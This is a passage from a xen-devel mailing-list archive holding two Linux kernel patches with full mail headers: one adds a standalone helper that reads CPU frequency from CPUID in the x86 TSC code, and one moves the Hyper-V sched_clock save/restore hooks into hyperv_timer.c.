 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3ZmtFagYKCasdPLYUNRZZRWP.NZXiPY-OPgPWWTded.iPYacZUPNe.ZcR@flex--seanjc.bounces.google.com>)
 id 6a456b67-97e6-0a2a45090019-d155d6cad1f5-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:56 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2c9b1b608e2so14564545ad.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:56 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934375; x=1783539175; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=XQAPpCEE/BDkXN3dIWP18HQMEopEl3zLKZ2PUcc2V5o=;
        b=jJD3qt1qn8jrOaa+zPI23+YU6E5Ch1uvWC+U9lDfIxEqSklZd7D9q9F6kuofM9NR47
         aaUHOLhQcG5vJHqLU9pPCb0QDmenV+S0HQtdKB4XSezidMRC4UcpCDQb3clabMEjlhxz
         o3jjT9/d8btZ9pAScMkpgK+g2yiHaTHAqCBBfZjMZ3iZVkI6hgwn0oqbEQtwuNLZU76w
         KH+1cv+3ZqNR5baOn7/OqMSs+WCqSoHMBm6Qo5FwRHdKxT8DbziVaEjLMZs5sghf6eiR
         heHt2SMc9E2S1E/N1rDXE+a9UR+3oQN9+/hFCALfPDV6OvdYNwxnMgOEla2qDP7wI7Ds
         JyVw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934375; x=1783539175;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=XQAPpCEE/BDkXN3dIWP18HQMEopEl3zLKZ2PUcc2V5o=;
        b=cS4iezeTRToYY+0red1zCSzUNFVNt6zMu3UVif4Pr0AZodpbHiEXUr0+TpCZ1QWNpm
         PuIegVGgDmAJhqpya1iRICm6eJ4Fu/clAjovzsJyPhWqz9rGlHhZhI7fFuax0FzB5WpG
         AdTHhTHFylcZXbbqJzkCE/5WuPPr9s483gnVuABbJBZVPBm+3AevwosSXhXPQsXviQPi
         T5o+v+wo9Pz4CeN/aS5Gb/rFiVB/0mFSmMv0zKvbjRg5NggN0eYEDTOsX5/Tb8Posd8a
         Y1yfpqyl5ODuFaHanwVyRADyrVbnmBHjGkPauXZDyfPOGinxZePJPwEE+mPEqIsGEQsX
         eR6w==
X-Forwarded-Encrypted: i=1; AHgh+RqipQhwvE+c8CsMstcL5yNhNac64b1w7iolx/lh3cpFcw8FyHY351rBCGCxzJ+VoNcAIzDEmuZANhM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzMPYBMlJlD76URF+ySm1mTUmA6rwUQ8Sydu7O40YbduI/kl+2a
	U4VFiqdt34s5lcGPAskmN0yQLE0HBE8btmaxkIqW6Rq0dSFakdP8gw53w/hOP/8Snrpe9GSRPZb
	EmrvO+w==
X-Received: from plpl11.prod.google.com ([2002:a17:903:3dcb:b0:2b0:46bd:4fe5])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:902:ce02:b0:2ca:62e:cc4f
 with SMTP id d9443c01a7336-2ca7e7645d1mr34535395ad.23.1782934374801; Wed, 01
 Jul 2026 12:32:54 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:44 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-24-seanjc@google.com>
Subject: [PATCH v5 23/51] x86/tsc: Add standalone helper for getting CPU
 frequency from CPUID
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1782934377-55D90986-6A5EA88F/13/0
X-purgate-type: clean
X-purgate-size: 2818

Extract the guts of cpu_khz_from_cpuid() to a standalone helper that
doesn't restrict the usage to Intel CPUs.  This will allow sharing the
core logic with KVM-as-a-guest, as KVM generally doesn't restrict CPUID
based on vendor.

No functional change intended.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/tsc.h |  1 +
 arch/x86/kernel/tsc.c      | 31 +++++++++++++++----------------
 2 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/arch/x86/include/asm/tsc.h b/arch/x86/include/asm/tsc.h
index c09ec485abcd..cb682f097ea7 100644
--- a/arch/x86/include/asm/tsc.h
+++ b/arch/x86/include/asm/tsc.h
@@ -88,6 +88,7 @@ struct cpuid_tsc_info {
 	unsigned int crystal_khz;
 };
 extern int cpuid_get_tsc_info(struct cpuid_tsc_info *info);
+extern unsigned int __cpu_khz_from_cpuid(void);
 
 extern void tsc_early_init(void);
 extern void tsc_init(void);
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 6ed6f8f012eb..56e73e96920a 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -668,6 +668,18 @@ int cpuid_get_tsc_info(struct cpuid_tsc_info *info)
 	return 0;
 }
 
+unsigned int __cpu_khz_from_cpuid(void)
+{
+	unsigned int eax_base_mhz, ebx, ecx, edx;
+
+	if (boot_cpu_data.cpuid_level < CPUID_LEAF_FREQ)
+		return 0;
+
+	cpuid(CPUID_LEAF_FREQ, &eax_base_mhz, &ebx, &ecx, &edx);
+
+	return eax_base_mhz * 1000;
+}
+
 /**
  * native_calibrate_tsc - determine TSC frequency
  * Determine TSC frequency via CPUID, else return 0.
@@ -703,12 +715,8 @@ static unsigned long native_calibrate_tsc(void)
 	 * clock, but we can easily calculate it to a high degree of accuracy
 	 * by considering the crystal ratio and the CPU speed.
 	 */
-	if (!info.crystal_khz && boot_cpu_data.cpuid_level >= CPUID_LEAF_FREQ) {
-		unsigned int eax_base_mhz, ebx, ecx, edx;
-
-		cpuid(CPUID_LEAF_FREQ, &eax_base_mhz, &ebx, &ecx, &edx);
-		info.crystal_khz = eax_base_mhz * 1000 * info.denominator / info.numerator;
-	}
+	if (!info.crystal_khz)
+		info.crystal_khz = __cpu_khz_from_cpuid() * info.denominator / info.numerator;
 
 	if (!info.crystal_khz)
 		return 0;
@@ -733,19 +741,10 @@ static unsigned long native_calibrate_tsc(void)
 
 static unsigned long cpu_khz_from_cpuid(void)
 {
-	unsigned int eax_base_mhz, ebx_max_mhz, ecx_bus_mhz, edx;
-
 	if (boot_cpu_data.x86_vendor != X86_VENDOR_INTEL)
 		return 0;
 
-	if (boot_cpu_data.cpuid_level < CPUID_LEAF_FREQ)
-		return 0;
-
-	eax_base_mhz = ebx_max_mhz = ecx_bus_mhz = edx = 0;
-
-	cpuid(CPUID_LEAF_FREQ, &eax_base_mhz, &ebx_max_mhz, &ecx_bus_mhz, &edx);
-
-	return eax_base_mhz * 1000;
+	return __cpu_khz_from_cpuid();
 }
 
 /*
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350548.1608051 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0h7-0002Oj-Bs; Wed, 01 Jul 2026 19:34:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350548.1608051; Wed, 01 Jul 2026 19:34:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0h7-0002OX-7M; Wed, 01 Jul 2026 19:34:01 +0000
Received: by outflank-mailman (input) for mailman id 1350548;
 Wed, 01 Jul 2026 19:34:00 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3aGtFagYKCa0fRNaWPTbbTYR.PbZkRa-QRiRYYVfgf.kRacebWRPg.beT@flex--seanjc.bounces.google.com>)
 id 1wf0h6-00029t-6I
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:34:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0h5-003oMF-JB
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:33:59 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3aGtFagYKCa0fRNaWPTbbTYR.PbZkRa-QRiRYYVfgf.kRacebWRPg.beT@flex--seanjc.bounces.google.com>)
 id 6a456b9c-2eae-0a2a0a5409dd-0a2a4509e6b8-18
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:59 +0200
Received: from [209.85.215.202] (helo=mail-pg1-f202.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3aGtFagYKCa0fRNaWPTbbTYR.PbZkRa-QRiRYYVfgf.kRacebWRPg.beT@flex--seanjc.bounces.google.com>)
 id 6a456b69-97e6-0a2a45090019-d155d7cab074-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:59 +0200
Received: by mail-pg1-f202.google.com with SMTP id
 41be03b00d2f7-c891ed872ddso919055a12.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:58 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934377; x=1783539177; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=uJ3m/TrNbE4SFzRsHKX+8uSq+s8U3KdnfXDvnqXCgWk=;
        b=EqcKxy9LijNW5TOqgFn7ZLTojtCinJRrqyx2RWIR+TWzn5eGPRCcuYV2FiAfiaSJkU
         4QEbq8yOzaQgwhIekJZ3uTBYEeuRL+BUuvNgRHUhGM+/e+OvAkz9SX14z7hCAvBW9o/a
         m9MPeZzOxJ8Elo3XbVEeU6YRc98ZZRZ5oNm3QkAZIfRgvhP2+oYaDwzNe54NY3Z3LE6P
         3LdygURw7xJOADrNuWCL9aEf28t3xNCiMVO0/WGMdBHqEDez1vqqrgm3F2a8sSJRkqSy
         gEC8nya3OzLWaMlzPW9kfTFzL5xrk4soB4ImEBai/h4yGDqm8m5WLPnT21/PwceKd/9m
         fNyA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934377; x=1783539177;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=uJ3m/TrNbE4SFzRsHKX+8uSq+s8U3KdnfXDvnqXCgWk=;
        b=nsLYrAtvTk8WNj746MbeD4r5gGWNsMNtrU75LOAC/i2yuFwxAWCGtj7zu01FMA/y6Q
         k6Ir0CUugQ6wIWbQ+3Bz38ZOulRU3bafYhRI6GrxFujMg+eO04yL2jElsMszX7ELZFvV
         lIwJSyNz7ZxeQmzS93+cESrvgifitc+ggVeFQguImnhH00/OFX0FMV63AFgxVTvphWLG
         LvJlWDKQPm3TGOuGGHwwMS/H0M3mloQ38s1wLiUzzxK5jwP9yvwx8k6EPYV/Atzp8ltL
         OgARaPF6wklw+WpC69eDkOU/+6pVC+0Axib3hycGDx8SXjhxtibCM9/rTmH/eUpk2bT4
         +TQA==
X-Forwarded-Encrypted: i=1; AFNElJ8XAEnkk0NeaXIMpRoM+xlsGYnhKPnV2SavL6geqlW94hq2Yrf7X+OlQ4jZ3xjgmkCaKGZ28oVoV24=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxB3lr9HRy0e8cvZH7GzTM0gxuvjWvune9wZUo6iG5gW78knNX1
	pLKdHWp7IrEbuEdL4UhbA1iUQ+bFKJ9y+bBTnUWJvAFeyQnOw2DQmcIlnTAtkgHzudoMS0uiN06
	BDjVSIQ==
X-Received: from pgwa12.prod.google.com ([2002:a65:654c:0:b0:c8a:eb2c:4d63])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a21:1b84:b0:398:9b42:69f7
 with SMTP id adf61e73a8af0-3bfed3b19b0mr3537498637.39.1782934376998; Wed, 01
 Jul 2026 12:32:56 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:46 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-26-seanjc@google.com>
Subject: [PATCH v5 25/51] clocksource: hyper-v: Register sched_clock
 save/restore iff it's necessary
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1782934379-56B97986-478C3F8D/13/0
X-purgate-type: clean
X-purgate-size: 6607

Register the Hyper-V reference counter (refcounter) callbacks for saving
and restoring its PV sched_clock, if and only if the refcounter is
actually being used for sched_clock.  Currently, Hyper-V overrides the
save/restore hooks if the reference TSC available, whereas the Hyper-V
refcounter code only overrides sched_clock if the reference TSC is
available *and* it's not invariant.  The flaw is effectively papered over
by invoking the "old" save/restore callbacks as part of save/restore, but
that's unnecessary and fragile.

To avoid introducing more complexity, and to allow for additional cleanups
of the PV sched_clock code, move the save/restore hooks and logic into
hyperv_timer.c and simply wire up the hooks when overriding sched_clock
itself.

Note, while the Hyper-V refcounter code is intended to be architecture
neutral, CONFIG_PARAVIRT is firmly x86-only, i.e. adding a small amount of
x86 specific code (which will be reduced in future cleanups) doesn't
meaningfully pollute generic code.

Reviewed-by: Michael Kelley <mhklinux@outlook.com>
Tested-by: Michael Kelley <mhklinux@outlook.com>
Acked-by: Wei Liu <wei.liu@kernel.org>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/cpu/mshyperv.c     | 58 ------------------------------
 drivers/clocksource/hyperv_timer.c | 50 ++++++++++++++++++++++++++
 2 files changed, 50 insertions(+), 58 deletions(-)

diff --git a/arch/x86/kernel/cpu/mshyperv.c b/arch/x86/kernel/cpu/mshyperv.c
index e03c69a4db33..c4da8e35319a 100644
--- a/arch/x86/kernel/cpu/mshyperv.c
+++ b/arch/x86/kernel/cpu/mshyperv.c
@@ -275,63 +275,6 @@ static void hv_guest_crash_shutdown(struct pt_regs *regs)
 }
 #endif /* CONFIG_CRASH_DUMP */
 
-static u64 hv_ref_counter_at_suspend;
-static void (*old_save_sched_clock_state)(void);
-static void (*old_restore_sched_clock_state)(void);
-
-/*
- * Hyper-V clock counter resets during hibernation. Save and restore clock
- * offset during suspend/resume, while also considering the time passed
- * before suspend. This is to make sure that sched_clock using hv tsc page
- * based clocksource, proceeds from where it left off during suspend and
- * it shows correct time for the timestamps of kernel messages after resume.
- */
-static void save_hv_clock_tsc_state(void)
-{
-	hv_ref_counter_at_suspend = hv_read_reference_counter();
-}
-
-static void restore_hv_clock_tsc_state(void)
-{
-	/*
-	 * Adjust the offsets used by hv tsc clocksource to
-	 * account for the time spent before hibernation.
-	 * adjusted value = reference counter (time) at suspend
-	 *                - reference counter (time) now.
-	 */
-	hv_adj_sched_clock_offset(hv_ref_counter_at_suspend - hv_read_reference_counter());
-}
-
-/*
- * Functions to override save_sched_clock_state and restore_sched_clock_state
- * functions of x86_platform. The Hyper-V clock counter is reset during
- * suspend-resume and the offset used to measure time needs to be
- * corrected, post resume.
- */
-static void hv_save_sched_clock_state(void)
-{
-	old_save_sched_clock_state();
-	save_hv_clock_tsc_state();
-}
-
-static void hv_restore_sched_clock_state(void)
-{
-	restore_hv_clock_tsc_state();
-	old_restore_sched_clock_state();
-}
-
-static void __init x86_setup_ops_for_tsc_pg_clock(void)
-{
-	if (!(ms_hyperv.features & HV_MSR_REFERENCE_TSC_AVAILABLE))
-		return;
-
-	old_save_sched_clock_state = x86_platform.save_sched_clock_state;
-	x86_platform.save_sched_clock_state = hv_save_sched_clock_state;
-
-	old_restore_sched_clock_state = x86_platform.restore_sched_clock_state;
-	x86_platform.restore_sched_clock_state = hv_restore_sched_clock_state;
-}
-
 #ifdef CONFIG_X86_64
 DEFINE_STATIC_CALL(hv_hypercall, hv_std_hypercall);
 EXPORT_STATIC_CALL_TRAMP_GPL(hv_hypercall);
@@ -736,7 +679,6 @@ static void __init ms_hyperv_init_platform(void)
 
 	/* Register Hyper-V specific clocksource */
 	hv_init_clocksource();
-	x86_setup_ops_for_tsc_pg_clock();
 	hv_vtl_init_platform();
 #endif
 	/*
diff --git a/drivers/clocksource/hyperv_timer.c b/drivers/clocksource/hyperv_timer.c
index df567795d175..4293173c3a27 100644
--- a/drivers/clocksource/hyperv_timer.c
+++ b/drivers/clocksource/hyperv_timer.c
@@ -554,10 +554,60 @@ static __always_inline void hv_setup_sched_clock(void *sched_clock)
 #elif defined CONFIG_PARAVIRT
 #include <asm/timer.h>
 
+static u64 hv_ref_counter_at_suspend;
+static void (*old_save_sched_clock_state)(void);
+static void (*old_restore_sched_clock_state)(void);
+
+/*
+ * Hyper-V clock counter resets during hibernation. Save and restore clock
+ * offset during suspend/resume, while also considering the time passed
+ * before suspend. This is to make sure that sched_clock using hv tsc page
+ * based clocksource, proceeds from where it left off during suspend and
+ * it shows correct time for the timestamps of kernel messages after resume.
+ */
+static void save_hv_clock_tsc_state(void)
+{
+	hv_ref_counter_at_suspend = hv_read_reference_counter();
+}
+
+static void restore_hv_clock_tsc_state(void)
+{
+	/*
+	 * Adjust the offsets used by hv tsc clocksource to
+	 * account for the time spent before hibernation.
+	 * adjusted value = reference counter (time) at suspend
+	 *                - reference counter (time) now.
+	 */
+	hv_adj_sched_clock_offset(hv_ref_counter_at_suspend - hv_read_reference_counter());
+}
+/*
+ * Functions to override save_sched_clock_state and restore_sched_clock_state
+ * functions of x86_platform. The Hyper-V clock counter is reset during
+ * suspend-resume and the offset used to measure time needs to be
+ * corrected, post resume.
+ */
+static void hv_save_sched_clock_state(void)
+{
+	old_save_sched_clock_state();
+	save_hv_clock_tsc_state();
+}
+
+static void hv_restore_sched_clock_state(void)
+{
+	restore_hv_clock_tsc_state();
+	old_restore_sched_clock_state();
+}
+
 static __always_inline void hv_setup_sched_clock(void *sched_clock)
 {
 	/* We're on x86/x64 *and* using PV ops */
 	paravirt_set_sched_clock(sched_clock);
+
+	old_save_sched_clock_state = x86_platform.save_sched_clock_state;
+	x86_platform.save_sched_clock_state = hv_save_sched_clock_state;
+
+	old_restore_sched_clock_state = x86_platform.restore_sched_clock_state;
+	x86_platform.restore_sched_clock_state = hv_restore_sched_clock_state;
 }
 #else /* !CONFIG_GENERIC_SCHED_CLOCK && !CONFIG_PARAVIRT */
 static __always_inline void hv_setup_sched_clock(void *sched_clock) {}
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350549.1608060 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0h8-0002eq-QP; Wed, 01 Jul 2026 19:34:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350549.1608060; Wed, 01 Jul 2026 19:34:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0h8-0002ej-MC; Wed, 01 Jul 2026 19:34:02 +0000
Received: by outflank-mailman (input) for mailman id 1350549;
 Wed, 01 Jul 2026 19:34:01 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3amtFagYKCa8hTPcYRVddVaT.RdbmTc-STkTaaXhih.mTcegdYTRi.dgV@flex--seanjc.bounces.google.com>)
 id 1wf0h7-0002MV-4b
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:34:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0h6-003oMF-Hz
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:34:00 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3amtFagYKCa8hTPcYRVddVaT.RdbmTc-STkTaaXhih.mTcegdYTRi.dgV@flex--seanjc.bounces.google.com>)
 id 6a456b8a-2eae-0a2a0a5409dd-0a2a4506ddcc-24
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:34:00 +0200
Received: from [209.85.215.201] (helo=mail-pg1-f201.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3amtFagYKCa8hTPcYRVddVaT.RdbmTc-STkTaaXhih.mTcegdYTRi.dgV@flex--seanjc.bounces.google.com>)
 id 6a456b6a-08de-0a2a45060019-d155d7c9c056-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:00 +0200
Received: by mail-pg1-f201.google.com with SMTP id
 41be03b00d2f7-c88ad1558f4so1256399a12.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:59 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934378; x=1783539178; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=m4IxRx7fOhcWBmMrJhtIUc/shJhrGyqdre87YRmUR5M=;
        b=oTg6PAOC/FL6P0Upjw8OG+i0hWOQe8Eia4QqrupxR/mEFB6T6kGZ8IRaGwPIFwKYj6
         8UCF4ZJFUWTZZXMbCVF8qnNqCIgkdYMSPFXNHAcnRkpOu1uDgNJottZqIGbF4ZdC0ZFd
         MrPF3T2siWeIjDF8rNKE+TB6/2OredC+ywVa2shfxM53U/utPGQJjlblpUn8697v1kjj
         4HfBVG35L7xwO7xmOqA+FDmmJmqPHDNHbYrtm0ZNdMVu5OcH9cSCneHyOStzcbVM0qjc
         fc/vLOTWAAPR7uH5fj6fPDXe4qlT4An5tYnZMPJ+0NZ3qSr2z6YpJkeog1/NQ8HirvY/
         sL6g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934378; x=1783539178;
